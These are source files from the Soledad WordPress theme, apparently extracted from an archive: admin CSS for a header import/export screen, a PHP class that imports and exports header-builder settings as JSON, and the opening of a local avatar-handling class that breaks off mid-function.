	margin-bottom: -2px;
	padding: 10px 24px;
	border-radius: 2px 2px 0 0
}
.penci-imex-import-available-categories ul.penci-imex-import-fp-lists li.penci-imex-fp-filter.penci-imex-filter-btn-active {
	background: #fff;
	border-width: 1px 1px 0 1px;
	border-style: solid;
	border-color: #ddd;
	color: #444
}
.penci-imex-import-available-categories ul.penci-imex-import-fp-lists li.penci-imex-fp-filter.penci-imex-filter-btn-active::after {
	display: none
}
.penci-imex-search-control {
	width: 200px
}
.penci-imex-search-control .penci-imex-search-filter {
	padding-left: 10px;
	padding-right: 10px
}
.penci-imex-search-filter {
	height: 36px;
	width: 100%
}
.penci-imex-filter-content-wrapper {
	flex-basis: 920px;
	padding: 15px
}
.penci-imex-item-preview {
	position: relative;
	z-index: 1;
	line-height: 0;
	border-top-right-radius: 4px;
	border-top-left-radius: 4px;
	background: #fff
}
.penci-imex-item-preview .penci-imex-item-screenshot {
	border-top-right-radius: 0;
	border-top-left-radius: 0;
	overflow: hidden
}
.penci-imex-item-preview .penci-imex-item-screenshot img {
	max-width: 100%;
	height: auto;
}
.penci-imex-item-preview .penci-imex-author-info {
	position: absolute;
	left: 0;
	right: 0;
	bottom: 10px;
	width: 100%;
	z-index: 3;
	margin: 0;
	padding: 20px;
	color: #fff;
	font-size: 16px;
	opacity: 0;
	visibility: hidden;
	transition: opacity .5s ease-in-out 0s, visibility .9s ease-in-out 0s
}
.penci-imex-item-preview .penci-imex-details {
	position: absolute;
	left: 0;
	right: 0;
	margin: 0 auto;
	top: 50%;
	width: 130px;
	background: rgba(0, 0, 0, .8);
	height: 40px;
	line-height: 40px;
	text-align: center;
	z-index: 5;
	font-size: 15px;
	font-weight: 600;
	color: #fff;
	opacity: 0;
	visibility: hidden;
	transition: all .5s ease-in-out 0s;
	transform: translateY(-50%)
}
.penci-imex-item-preview .penci-imex-premium-label {
	position: absolute;
	right: -10px;
	top: 20px;
	background: var(--wp-admin-theme-color);
	display: block;
	z-index: 3;
	line-height: 16px;
	padding: 10px 20px;
	height: 16px;
	font-weight: 600;
	color: #fff
}
.penci-imex-item-preview .penci-imex-premium-label:before {
	position: absolute;
	left: -18px;
	top: 0;
	height: 0;
	width: 0;
	content: "";
	border-top: 18px solid var(--wp-admin-theme-color);
	border-left: 18px solid transparent;
	border-bottom: 18px solid var(--wp-admin-theme-color)
}
.penci-imex-item-preview .penci-imex-premium-label:after {
	position: absolute;
	right: 0;
	content: "";
	bottom: -10px;
	width: 0;
	height: 0;
	border-top: 10px solid var(--wp-admin-theme-color);
	border-right: 10px solid transparent
}
.penci-imex-item {
	display: block;
	max-width: 100%;
	margin: 15px 15px 40px;
	box-shadow: 0 2px 15px -3px rgba(0, 0, 0, .2);
	border: 1px solid transparent;
	transition: 0.3s all ease-in-out;
}
.penci-imex-item:hover,
.penci-imex-item.imported {
	border-color: var(--wp-admin-theme-color);
}
.penci-imex-item.imported .theme-name:before {
	content: "\f147";
    font-family: 'dashicons', serif;
    display: inline-block;
    margin-right: 5px;
    vertical-align: middle;
    color: #00d140;
    font-size: 20px;
}
.penci-imex-item.imported .theme-name:after {
    content: "Imported";
    float: right;
    color: #00b738;
}
.penci-imex-item.imported .penci-import-button {
	display: none;
}
@media (min-width: 1600px) {
	.penci-imex-item {
		max-width: 100%
	}
}
.penci-imex-item:hover .penci-imex-author-info {
	visibility: visible;
	opacity: 1
}
.penci-imex-item:hover .penci-imex-details, .penci-imex-item:hover .penci-imex-item-footer-actions {
	visibility: visible;
	opacity: 1
}
.penci-imex-item-footer {
    padding: 15px 20px;
    background: #fff;
    position: relative;
    margin-bottom: 20px;
}
.penci-imex-item-footer .theme-name {
	margin: 0;
	white-space: nowrap;
	width: 98%;
	overflow: hidden;
	text-overflow: ellipsis;
	line-height: 24px
}
.penci-imex-item-footer-actions {
	position: absolute;
	right: 0;
	text-align: center;
	z-index: 4;
	top: 0;
	height: calc(100% - 22px);
	padding: 11px;
	opacity: 0;
	transition: all .1s ease-in-out;
	visibility: hidden;
}
.penci-imex-item-footer-actions .button {
	line-height: 32px;
	height: 35px
}
.penci-imex-item-footer-actions .button .dashicons:not(.dashicons-update) {
	width: 10px;
	height: 10px;
	font-size: 14px;
	vertical-align: middle;
	margin-right: 10px;
	margin-top: -5px
}
.penci-imex-item-footer-actions .button .dashicons.penci-imex-update {
	animation: dashicons-spin 1s linear infinite;
	margin: 17px 0 0 10px;
	width: auto;
	height: auto;
	font-size: 16px
}
.penci-imex-item-footer-actions .button .dashicons.dashicons-visibility {
	font-size: 12px
}
.penci-imex-form {
	padding: 20px;
	background: #fff
}
.penci-imex-form .media-title {
	margin-top: 0
}
.penci-imex-form .input-file {
	padding: 30px 100px;
	border: 1px dashed #cdcdcd;
	margin: 30px 0;
	border-radius: 5px;
	background: #f8f8f8;
	text-align: center;
	clear: both
}
.penci-imex-item.penci-imex-action-importing .penci-imex-item-preview:after {
	visibility: visible;
	opacity: 1
}
.penci-imex-item.penci-imex-action-importing .penci-imex-author-info {
	bottom: 10px
}
.penci-imex-item.penci-imex-action-importing .penci-imex-item-footer-actions {
	top: 50%;
	transform: translateY(-50%)
}
.penci-imex-item.penci-imex-action-importing .penci-imex-demo-import {
	padding-right: 0
}
.penci-imex-item.penci-imex-action-importing .penci-imex-item-footer-actions {
	opacity: 1;
	visibility: visible
}
@keyframes dashicons-spin {
	0% {
		transform: translate3d(-50%, -50%, 0) rotate(0)
	}
	100% {
		transform: translate3d(-50%, -50%, 0) rotate(360deg)
	}
}
.penci-imex-filter-content-heading {
	font-size: 24px;
	text-align: center;
}
.penci-imex-filter-content-heading p {
	margin-top: -10px;
	margin-bottom: 30px;
	font-size: 15px;
}
.input-text-wrap textarea {
	width: 100%;
	height: auto;
	font-family: monospace;
	font-size: 12px;
}
#TB_ajaxContent p.penci-import-result.show {
	padding: 8px 15px;
	background-color: #f1f1f1;
	display: block;
	margin: 20px 0 0;
}
#TB_ajaxContent p.penci-import-result.show.error {
	background-color: indianred;
	color: white;
}
#TB_ajaxContent p.penci-import-result.show.success {
	background-color: var(--wp-admin-theme-color);
	color: white;
}
.penci-imex-form h3,
.penci-imex-form form {
	text-align: center;
}
.penci-imex-form h3 {
	font-size: 26px;
	margin: 0;
}
.penci-imex-form p{
	text-align: center;
	font-size: 14px;
}
.penci-imex-form p a {
    color: #ff0000;
}
PK     N\s?,  ?,    inc/data-imex/penci-imex.phpnu [        <?php
$upload_dir              = wp_upload_dir();
$penci_imex_temp         = $upload_dir['basedir'] . '/penci-data-imex-temp/';
$penci_imex_temp_uploads = $penci_imex_temp . '/uploads/';

define( 'PENCI_IMEX_TEMP', $penci_imex_temp );
define( 'PENCI_IMEX_TEMP_UPLOADS', $penci_imex_temp_uploads );

class Penci_Export_Init {

	protected $demo_lists = array();

	public function __construct() {
		if ( ! current_user_can( 'manage_options' ) ) {
			return;
		}
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'wp_ajax_penci_export_content', array( $this, 'export_content' ) );
		add_action( 'wp_ajax_penci_import_content', array( $this, 'import_content' ) );
		add_action( 'wp_ajax_penci_upload_import', array( $this, 'upload_import' ) );
		add_filter( 'post_row_actions', array( $this, 'add_export_link' ), 10, 2 );
		add_action( 'edit_form_advanced', array( $this, 'init_demo_import' ) );
		add_filter( 'advanced_import_demo_lists', array( $this, 'penci_demo_import_lists' ) );
		add_action( 'edit_form_after_title', array( $this, 'import_button' ), 10 );
		add_action( 'edit_form_after_title', array( $this, 'video_tutorial_button' ), 10 );
		add_action( 'in_admin_footer', array( $this, 'footer_upload' ) );
	}

	function footer_upload() {
		global $pagenow, $post;
		if ( isset( $post->post_type ) && 'penci_builder' == $post->post_type ) {
			add_thickbox();
			?>
			<div class="hidden" id="penci-imex-custom-upload">
				<?php $this->demo_import_form(); ?>
			</div>
			<?php
		}
	}

	public function demo_import_form( $total_demo = 0 ) {
		global $post;
		?>
		<div class="penci-imex-form <?php echo $total_demo > 0 ? 'hidden' : ''; ?>">
			<div id="penci-imex-upload-zip">
				<h3><?php esc_attr_e( 'Import Header Builder', 'soledad' ); ?></h3>
				<p><?php _e( "This is a feature to help you can export settings from a header you've made and import it to another header. It helps in case you want to move all settings from an existing header to another header or move a header from a website to another website.<br>Please check <a href='https://imgresources.s3.amazonaws.com/export-header.png' target='_blank'>this image</a> to know how to export settings for a header.", 'soledad' ); ?></p>
				<form id="penci_upload_form" enctype="multipart/form-data" novalidate>
					<div class="input-file">
						<input id="userupload" type="file" name="file" accept="application/json"/>
						<p class="notes"><?php esc_attr_e( 'Only accept .json export file of Penci Builder.', 'soledad' ); ?></p>
					</div>
					<input type="hidden" name="id" value="<?php echo esc_attr( $post->ID ); ?>">
					<input class="button button-primary button-large" type="submit" value="Import Header Builder"/>
					<?php wp_nonce_field( 'penci-imex-form' ); ?>
				</form>
				<p class="penci-import-result"></p>
			</div>
		</div>
		<?php
	}

	/**
	 * Register the JavaScript for the admin area.
	 *
	 * @since    1.0.0
	 */
	public function enqueue_scripts() {
		global $typenow;
		if ( 'penci_builder' != $typenow ) {
			return;
		}
		wp_enqueue_style(
			'penci-imex-export-style',
			PENCI_SOLEDAD_URL . '/inc/data-imex/assets/css/penci-imex-admin.css',
			array(
				'wp-admin',
				'dashicons',
			),
			'1.0'
		);
		wp_enqueue_script( 'penci-imex-export', PENCI_SOLEDAD_URL . '/inc/data-imex/assets/js/advanced-export-admin.js', array( 'jquery' ), '1.0', false );
		wp_localize_script(
			'penci-imex-export',
			'penci_imex_export_object',
			array(
				'ajaxurl' => admin_url( 'admin-ajax.php' ),
				'nonce'   => wp_create_nonce( 'penci-imex-export' ),
			)
		);
		wp_enqueue_media();
	}

	/**
	 * Export Content
	 *
	 * @since    1.0.0
	 */
	public function export_content() {
		check_ajax_referer( 'penci-imex-export', 'request_id' );
		if ( empty( $_REQUEST['type'] ) || empty( $_REQUEST['id'] ) ) {
			return;
		}

		if ( current_user_can('manage_options') ) {

			$content = get_post_meta( $_REQUEST['id'], 'settings_content', true );
			echo json_encode( $content );
		}
		die();
	}

	public function import_content() {
		check_ajax_referer( 'penci-imex-export', 'request_id' );
		if ( current_user_can('manage_options') ) {
			$demo_file = $_REQUEST['content'];
			$postID    = $_REQUEST['id'];
			$slug      = $_REQUEST['slug'];
			if ( $demo_file ) {
				$file = wp_remote_get( $demo_file );
				$data = json_decode( $file['body'], true );
				if ( isset( $data['penci_builder'][0]['meta']['settings_content'] ) ) {
					$data = $data['penci_builder'][0]['meta']['settings_content'];
				}

				$progress = wp_update_post(
					array(
						'ID'          => $postID,
						'post_status' => 'publish',
						'meta_input'  => array(
							'settings_content' => $data,
							'settings_demo'    => $slug,
						),
					)
				);
				wp_send_json_success( $progress );
			}
		}
		wp_die();
	}

	public function add_export_link( $actions, $post ) {

		$export_posttype = array(
			'penci_builder',
		);

		if ( in_array( $post->post_type, $export_posttype ) ) {
			$actions['penci-export'] = '<a rel="download" data-id="' . esc_attr( $post->ID ) . '" data-type="' . esc_attr( $post->post_type ) . '" class="penci-content-export" href="#">' . __( 'Export' ) . '</a>';
		}

		return $actions;
	}

	public function init_demo_import( $post ) {
		$total_demo = 0;
		if ( 'penci_builder' == $post->post_type ) {
			$this->demo_lists  = apply_filters( 'advanced_import_demo_lists', array() );
			$demo_lists_define = $this->demo_lists;

			$total_demo = count( $demo_lists_define );
			if ( $total_demo >= 1 ) {
				$this->demo_list( $demo_lists_define, $total_demo );
			}
		}
	}

	public function demo_list( $demo_lists, $total_demo ) {
		?>
		<div class="penci-imex-filter-content-heading">
			<h3><?php echo esc_attr( 'Import from Pre-built Headers' ); ?></h3>
			<p><?php echo 'Note that: Import a Pre-Built Header Will Replace All Settings You\'ve Setup for This Header.<br>After Importing A Header, You Need to Edit It with Penci Header Builder and Select The Menus You Want to Show on This Header.'; ?></p>
		</div>
		<div class="penci-imex-filter-content" id="penci-imex-filter-content">
			<div class="penci-imex-filter-content-wrapper">
				<?php
				global $post;
				foreach ( $demo_lists as $key => $demo_list ) {

					/*Check for required fields*/
					if ( ! isset( $demo_list['title'] ) || ! isset( $demo_list['screenshot_url'] ) || ! isset( $demo_list['demo_url'] ) ) {
						continue;
					}

					$data_template = '';
					$template_url  = isset( $demo_list['template_url'] ) && ! empty( $demo_list['template_url'] ) ? $demo_list['template_url'] : '';
					if ( $template_url ) {
						$data_template = 'data-template_url="' . esc_attr( $template_url ) . '"';
					}
					$item_slug = sanitize_title_with_dashes( $demo_list['title'] );
					$demo      = get_post_meta( $post->ID, 'settings_demo', true );
					$class     = $demo == $item_slug ? 'imported' : 'featured-import';
					?>
					<div <?php echo $data_template; ?>
							data-slug="<?php echo esc_attr( $item_slug ); ?>"
							data-id="<?php echo esc_attr( $post->ID ); ?>"
							aria-label="<?php echo esc_attr( $demo_list['title'] ); ?>"
							class="penci-imex-item <?php echo esc_attr( $class ); ?>">
						<div class="penci-imex-item-footer">
							<div class="penci-imex-item-footer_meta">
								<h3 class="theme-name"><?php echo esc_html( $demo_list['title'] ); ?></h3>
								<div class="penci-imex-item-footer-actions">
									<?php if ( ! empty( $demo_list['demo_url'] ) ) : ?>
										<a class="button penci-imex-item-demo-link"
											href="<?php echo esc_url( $demo_list['demo_url'] ); ?>" target="_blank">
											<span class="dashicons dashicons-visibility"></span><?php esc_html_e( 'Preview', 'soledad' ); ?>
										</a>
										<?php
									endif;
									?>
									<a class="button penci-import-button is-button is-default is-primary is-large button-primary"
										href="#"
										aria-label="<?php esc_attr_e( 'Import', 'soledad' ); ?>">
										<span class="dashicons dashicons-download"></span><?php esc_html_e( 'Import', 'soledad' ); ?>
									</a>
								</div>
							</div>
						</div>
						<div class="penci-imex-item-preview">
							<div class="penci-imex-item-screenshot">
								<img alt="" src="<?php echo esc_url( $demo_list['screenshot_url'] ); ?>">
							</div>
						</div>
					</div>
					<?php
				}
				?>
			</div>
		</div>
		<?php
	}

	public function penci_demo_import_lists() {
		$return = array();
		for ( $index = 1; $index <= 16; $index++ ) {
			$title = 'header' . $index;
			$args  = array(
				'title'          => __( 'Header ', 'soledad' ) . $index,
				'type'           => 'header',
				'author'         => __( 'PenciDesign', 'soledad' ),
				'template_url'   => 'https://imgresources.s3.amazonaws.com/header-builder/header-json/header-' . $index . '.json',
				'screenshot_url' => 'https://imgresources.s3.amazonaws.com/header-builder/header-' . $index . '.jpg',
				'demo_url'       => '',
			);
			if ( 9 == $index ) {
				$args['title'] = __( 'Header ', 'soledad' ) . $index . __( ' - Overlap Header', 'soledad' );
			}
			if ( 12 == $index ) {
				$args['title'] = __( 'Header ', 'soledad' ) . $index . __( ' - Overlap Header', 'soledad' );
			}
			$return[ $title ] = $args;
		}

		return $return;
	}

	public function import_button( $post ) {
		if ( 'penci_builder' === $post->post_type ) {
			?>
			<div class="penci-use-import-button penci-builder-button">
				<a data-id="<?php echo $post->ID; ?>"
					href="#TB_inline?&width=600&height=480&inlineId=penci-imex-custom-upload"
					class="thickbox button"><?php echo esc_attr__( 'Import Header Builder', 'soledad' ); ?></a>
			</div>
			<?php
		}
	}

	public function video_tutorial_button( $post ) {
		if ( 'penci_builder' === $post->post_type ) {
			?>
			<div class="penci-video-tutbtn penci-builder-button">
				<a target="_blank"
					href="https://www.youtube.com/watch?v=kUFqsVYyJig&list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04&index=4"
					class="button"><?php echo esc_attr__( 'Watch Video Tutorial', 'soledad' ); ?></a>
			</div>
			<?php
		}
	}

	public function upload_import() {
		check_ajax_referer( 'penci-imex-form' );
		if ( current_user_can('manage_options') ) {
			$content = '';
			if ( is_uploaded_file( $_FILES['file']['tmp_name'] ) && isset( $_POST['id'] ) ) {
				$id       = $_POST['id'];
				$data_out = '';
				$class    = '';

				$content  = file_get_contents( $_FILES['file']['tmp_name'] );
				$content  = json_decode( $content, true );
				$progress = wp_update_post(
					array(
						'ID'          => $id,
						'post_status' => 'publish',
						'meta_input'  => array(
							'settings_content' => $content,
							'settings_demo'    => 'custom_import',
						),
					)
				);
				if ( is_wp_error( $progress ) ) {
					$errors    = $progress->get_error_messages();
					$data_out .= implode( ',', $errors );
					$class     = 'error';
				} else {
					$data_out = esc_attr__( 'Import Header Builder Data Successfully', 'soledad' );
					$class    = 'success';
				}
			} else {
				$data_out = esc_attr__( 'Please Add Import Data File', 'soledad' );
				$class    = 'error';
			}
			wp_send_json_success(
				array(
					'text'  => $data_out,
					'class' => $class,
				),
				200
			);
		}
	}
}

new Penci_Export_Init();
PK     N\      inc/avatar/init.phpnu [        <?php
require_once PENCI_SOLEDAD_DIR . '/inc/avatar/class-penci-avatars.php';

if ( ! defined( 'PENCI_IS_NETWORK' ) ) {
	define( 'PENCI_IS_NETWORK', Penci_Avatars::is_network( plugin_basename( __FILE__ ) ) );
}
global $penci_avatars;
add_action( 'init', function() {
	$penci_avatars = new Penci_Avatars();
});

function get_penci_avatar( $id_or_email, $size = 96, $default = '', $alt = '', $args = array() ) {
	return apply_filters( 'penci_avatar', get_avatar( $id_or_email, $size, $default, $alt, $args ) );
}
PK     N\jN\?  ?  "  inc/avatar/class-penci-avatars.phpnu [        <?php

/**
 * Main SLA Class.
 */
class Penci_Avatars {
	/**
	 * The user ID.
	 *
	 * @var int.
	 */
	private $user_id_being_edited;

	/**
	 * The upload error comment.
	 *
	 * @var string.
	 */
	private $avatar_upload_error;

	/**
	 * The nonce token.
	 *
	 * @var string
	 */
	private $remove_nonce;

	/**
	 * The ratings.
	 *
	 * @var array
	 */
	private $avatar_ratings;

	/**
	 * The meta key a user.
	 *
	 * @var string
	 */
	private $user_key;

	/**
	 * The meta key a user.
	 *
	 * @var string he meta key for ratings.
	 */
	private $rating_key;

	/**
	 * Configured setting values.
	 *
	 * @var array
	 */
	public $options;

	/**
	 * Set up the hooks and default values
	 */
	public function __construct() {
		$this->add_hooks();

		$this->options        = (array) get_option( 'penci_avatars' );
		$this->user_key       = 'penci_avatar';
		$this->rating_key     = 'penci_avatar_rating';
		$this->avatar_ratings = array(
			'G'  => __( 'G &#8212; Suitable for all audiences', 'soledad' ),
			'PG' => __( 'PG &#8212; Possibly offensive, usually for audiences 13 and above', 'soledad' ),
			'R'  => __( 'R &#8212; Intended for adult audiences above 17', 'soledad' ),
			'X'  => __( 'X &#8212; Even more mature than above', 'soledad' ),
		);

		if ( ! $this->is_avatar_shared() // Are we sharing avatars?
			&& ( ( // And either an ajax request not in the network admin.
					defined( 'DOING_AJAX' ) && DOING_AJAX && isset( $_SERVER['HTTP_REFERER'] ) && ! preg_match( '#^' . network_admin_url() . '#i', $_SERVER['HTTP_REFERER'] ) ) || ( // Or normal request not in the network admin.
					( ! defined( 'DOING_AJAX' ) || ! DOING_AJAX ) && ! is_network_admin() ) ) && is_multisite() ) {
			$this->user_key   = sprintf( $this->user_key . '_%d', get_current_blog_id() );
			$this->rating_key = sprintf( $this->rating_key . '_%d', get_current_blog_id() );
		}
	}

	/**
	 * Register actions and filters.
	 */
	public function add_hooks() {
		global $pagenow;

		add_filter( 'pre_get_avatar_data', array( $this, 'get_avatar_data' ), 10, 2 );
		add_filter( 'pre_option_penci_avatars', array( $this, 'pre_option_penci_avatars' ), 10, 1 );

		add_action( 'admin_init', array( $this, 'admin_init' ) );

		// Load the JS on BE & FE both, in order to support third party plugins like bbPress.
		add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );

		add_action( 'show_user_profile', array( $this, 'edit_user_profile' ) );
		add_action( 'edit_user_profile', array( $this, 'edit_user_profile' ) );

		add_action( 'personal_options_update', array( $this, 'edit_user_profile_update' ) );
		add_action( 'edit_user_profile_update', array( $this, 'edit_user_profile_update' ) );
		add_action( 'admin_action_remove-penci-avatar', array( $this, 'action_remove_penci_avatar' ) );
		add_action( 'wp_ajax_assign_penci_avatar_media', array( $this, 'ajax_assign_penci_avatar_media' ) );
		add_action( 'wp_ajax_remove_penci_avatar', array( $this, 'action_remove_penci_avatar' ) );
		add_action( 'user_edit_form_tag', array( $this, 'user_edit_form_tag' ) );

		add_action( 'rest_api_init', array( $this, 'register_rest_fields' ) );

		add_action( 'wp_ajax_migrate_from_wp_user_avatar', array( $this, 'ajax_migrate_from_wp_user_avatar' ) );

		if ( defined( 'WP_CLI' ) && WP_CLI ) {
			WP_CLI::add_command( 'penci-avatars migrate wp-user-avatar', array(
				$this,
				'wp_cli_migrate_from_wp_user_avatar'
			) );
		}

		add_action( 'wp_ajax_sla_clear_user_cache', array( $this, 'sla_clear_user_cache' ) );

		add_filter( 'avatar_defaults', array( $this, 'add_avatar_default_field' ) );
		add_action( 'wpmu_new_blog', array( $this, 'set_defaults' ) );

		if ( 'profile.php' === $pagenow ) {
			add_filter( 'media_view_strings', function ( $strings ) {
				$strings['skipCropping'] = esc_html__( 'Default Crop', 'soledad' );

				return $strings;
			}, 10, 1 );
		}
	}

	/**
	 * Determine if plugin is network activated.
	 *
	 * @param string $plugin The plugin slug to check.
	 *
	 * @return boolean
	 */
	public static function is_network( $plugin ) {
		$plugins = get_site_option( 'active_sitewide_plugins', array() );

		if ( is_multisite() && isset( $plugins[ $plugin ] ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Get current plugin network mode
	 */
	public function get_network_mode() {
		if ( PENCI_IS_NETWORK ) {
			return get_site_option( 'penci_avatars_mode', 'default' );
		}

		return 'default';
	}

	/**
	 * Determines if settings handling is enforced on a network level
	 *
	 * Important: this is only meant for admin UI purposes.
	 *
	 * @return boolean
	 */
	public function is_enforced() {
		if ( ( ! is_network_admin() && ( PENCI_IS_NETWORK && 'enforce' === $this->get_network_mode() ) ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Determine if avatars should be shared
	 *
	 * @return boolean
	 */
	public function is_avatar_shared() {
		if ( is_multisite() // Are we on multisite.
			&& ! isset( $this->options['shared'] ) // And our shared option doesn't exist.
			|| ( isset( $this->options['shared'] ) // Or our shared option is set.
				&& 1 === $this->options['shared'] ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Retrieve the local avatar for a user who provided a user ID, email address or post/comment object.
	 *
	 * @param string $avatar Avatar return by original function
	 * @param int|string|object $id_or_email A user ID, email address, or post/comment object
	 * @param int $size Size of the avatar image
	 * @param string $default URL to a default image to use if no avatar is available
	 * @param string $alt Alternative text to use in image tag. Defaults to blank
	 * @param array $args Optional. Extra arguments to retrieve the avatar.
	 *
	 * @return string <img> tag for the user's avatar
	 */
	public function get_avatar( $avatar = '', $id_or_email = '', $size = 96, $default = '', $alt = '', $args = array() ) {
		return apply_filters( 'penci_avatar', get_avatar( $id_or_email, $size, $default, $alt, $args ) );
	}

	/**
	 * Filter avatar data early to add avatar url if needed. This filter hooks
	 * before Gravatar setup to prevent wasted requests.
	 *
	 * @param array $args Arguments passed to get_avatar_data(), after processing.
	 * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
	 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
	 *
	 * @since 2.2.0
	 *
	 */
	public function get_avatar_data( $args, $id_or_email ) {
		if ( ! empty( $args['force_default'] ) ) {
			return $args;
		}

		$penci_avatar_url = $this->get_penci_avatar_url( $id_or_email, $args['size'] );
		if ( $penci_avatar_url ) {
			$args['url'] = $penci_avatar_url;
		}

		// Local only mode
		if ( ! $penci_avatar_url && ! empty( $this->options['only'] ) ) {
			$args['url'] = $this->get_default_avatar_url( $args['size'] );
		}

		if ( ! empty( $args['url'] ) ) {
			$args['found_avatar'] = true;

			// If custom alt text isn't passed, pull alt text from the local image.
			if ( empty( $args['alt'] ) ) {
				$args['alt'] = $this->get_penci_avatar_alt( $id_or_email );
			}
		}

		return $args;
	}

	/**
	 * Get a user ID from certain possible values.
	 *
	 * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
	 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
	 *
	 * @return int|false
	 * @since 2.5.0
	 *
	 */
	public function get_user_id( $id_or_email ) {
		$user_id = false;

		if ( is_numeric( $id_or_email ) ) {
			$user_id = (int) $id_or_email;
		} elseif ( is_object( $id_or_email ) && ! empty( $id_or_email->user_id ) ) {
			$user_id = (int) $id_or_email->user_id;
		} elseif ( $id_or_email instanceof WP_Post && ! empty( $id_or_email->post_author ) ) {
			$user_id = (int) $id_or_email->post_author;
		} elseif ( is_string( $id_or_email ) ) {
			$user    = get_user_by( 'email', $id_or_email );
			$user_id = $user ? $user->ID : '';
		}

		return $user_id;
	}

	/**
	 * Get local avatar url.
	 *
	 * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
	 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
	 * @param int $size Requested avatar size.
	 *
	 * @since 2.2.0
	 *
	 */
	public function get_penci_avatar_url( $id_or_email, $size ) {
		$user_id = $this->get_user_id( $id_or_email );

		if ( empty( $user_id ) ) {
			return '';
		}

		// Fetch local avatar from meta and make sure it's properly set.
		$local_avatars = get_user_meta( $user_id, $this->user_key, true );
		if ( empty( $local_avatars['full'] ) ) {
			return '';
		}

		// check rating
		$avatar_rating = get_user_meta( $user_id, $this->rating_key, true );
		$site_rating   = get_option( 'avatar_rating' );
		if ( ! empty( $avatar_rating ) && 'G' !== $avatar_rating && $site_rating ) {
			$ratings              = array_keys( $this->avatar_ratings );
			$site_rating_weight   = array_search( $site_rating, $ratings, true );
			$avatar_rating_weight = array_search( $avatar_rating, $ratings, true );
			if ( false !== $avatar_rating_weight && $avatar_rating_weight > $site_rating_weight ) {
				return '';
			}
		}

		// handle "real" media
		if ( ! empty( $local_avatars['media_id'] ) ) {
			// If using shared avatars, make sure we validate the URL on the main site.
			if ( $this->is_avatar_shared() ) {
				$origin_blog_id = isset( $local_avatars['blog_id'] ) && ! empty( $local_avatars['blog_id'] ) ? $local_avatars['blog_id'] : get_main_site_id();
				switch_to_blog( $origin_blog_id );
			}

			$avatar_full_path = get_attached_file( $local_avatars['media_id'] );

			if ( $this->is_avatar_shared() ) {
				restore_current_blog();
			}

			// has the media been deleted?
			if ( ! $avatar_full_path ) {
				return '';
			}
		}

		$size = (int) $size;

		// Generate a new size.
		if ( ! array_key_exists( $size, $local_avatars ) ) {
			$local_avatars[ $size ] = $local_avatars['full']; // just in case of failure elsewhere

			// allow automatic rescaling to be turned off
			if ( apply_filters( 'penci_avatars_dynamic_resize', true ) ) :

				$upload_path = wp_upload_dir();

				// get path for image by converting URL, unless its already been set, thanks to using media library approach
				if ( ! isset( $avatar_full_path ) ) {
					$avatar_full_path = str_replace( $upload_path['baseurl'], $upload_path['basedir'], $local_avatars['full'] );
				}

				// generate the new size
				$editor = wp_get_image_editor( $avatar_full_path );
				if ( ! is_wp_error( $editor ) ) {
					$resized = $editor->resize( $size, $size, true );
					if ( ! is_wp_error( $resized ) ) {
						$dest_file = $editor->generate_filename();
						$saved     = $editor->save( $dest_file );
						if ( ! is_wp_error( $saved ) ) {
							// Transform the destination file path into URL.
							$dest_file_url = '';
							if ( false !== strpos( $dest_file, $upload_path['basedir'] ) ) {
								$dest_file_url = str_replace( $upload_path['basedir'], $upload_path['baseurl'], $dest_file );
							} else if ( is_multisite() && false !== strpos( $dest_file, ABSPATH . 'wp-content/uploads' ) ) {
								$dest_file_url = str_replace( ABSPATH . 'wp-content/uploads', network_site_url( '/wp-content/uploads' ), $dest_file );
							}

							$local_avatars[ $size ] = $dest_file_url;
						}
					}
				}

				// save updated avatar sizes
				update_user_meta( $user_id, $this->user_key, $local_avatars );

			endif;
		}

		if ( 'http' !== substr( $local_avatars[ $size ], 0, 4 ) ) {
			$local_avatars[ $size ] = home_url( $local_avatars[ $size ] );
		}

		return esc_url( $local_avatars[ $size ] );
	}

	/**
	 * Get local avatar alt text.
	 *
	 * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
	 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
	 *
	 * @return string
	 * @since 2.5.0
	 *
	 */
	public function get_penci_avatar_alt( $id_or_email ) {
		$user_id = $this->get_user_id( $id_or_email );

		if ( empty( $user_id ) ) {
			return '';
		}

		// Fetch local avatar from meta and make sure we have a media ID.
		$local_avatars = get_user_meta( $user_id, 'penci_avatar', true );
		if ( empty( $local_avatars['media_id'] ) ) {
			return '';
		}

		return esc_attr( get_post_meta( $local_avatars['media_id'], '_wp_attachment_image_alt', true ) );
	}

	/**
	 * Get default avatar url
	 *
	 * @param int $size Requested avatar size.
	 *
	 * @since 2.2.0
	 *
	 */
	public function get_default_avatar_url( $size ) {
		if ( empty( $default ) ) {
			$avatar_default = get_option( 'avatar_default' );
			if ( empty( $avatar_default ) ) {
				$default = 'mystery';
			} else {
				$default = $avatar_default;
			}
		}

		$host = is_ssl() ? 'https://secure.gravatar.com' : 'http://0.gravatar.com';

		if ( 'mystery' === $default ) {
			$default = "$host/avatar/ad516503a11cd5ca435acc9bb6523536?s={$size}"; // ad516503a11cd5ca435acc9bb6523536 == md5('unknown@gravatar.com')
		} elseif ( 'blank' === $default ) {
			$default = includes_url( 'images/blank.gif' );
		} elseif ( 'gravatar_default' === $default ) {
			$default = "$host/avatar/?s={$size}";
		} elseif ( 'penci_avatar' === $default ) {
			$default           = "$host/avatar/?d=$default&amp;s={$size}";
			$default_avatar_id = get_option( 'penci_avatar_default', '' );
			if ( ! empty( $default_avatar_id ) ) {
				$default = wp_get_attachment_image_url( $default_avatar_id );
			}
		} else {
			$default = "$host/avatar/?d=$default&amp;s={$size}";
		}

		return $default;
	}

	/**
	 * Register admin settings.
	 */
	public function admin_init() {
		// upgrade pre 2.0 option
		$old_ops = get_option( 'penci_avatars_caps' );
		if ( $old_ops ) {
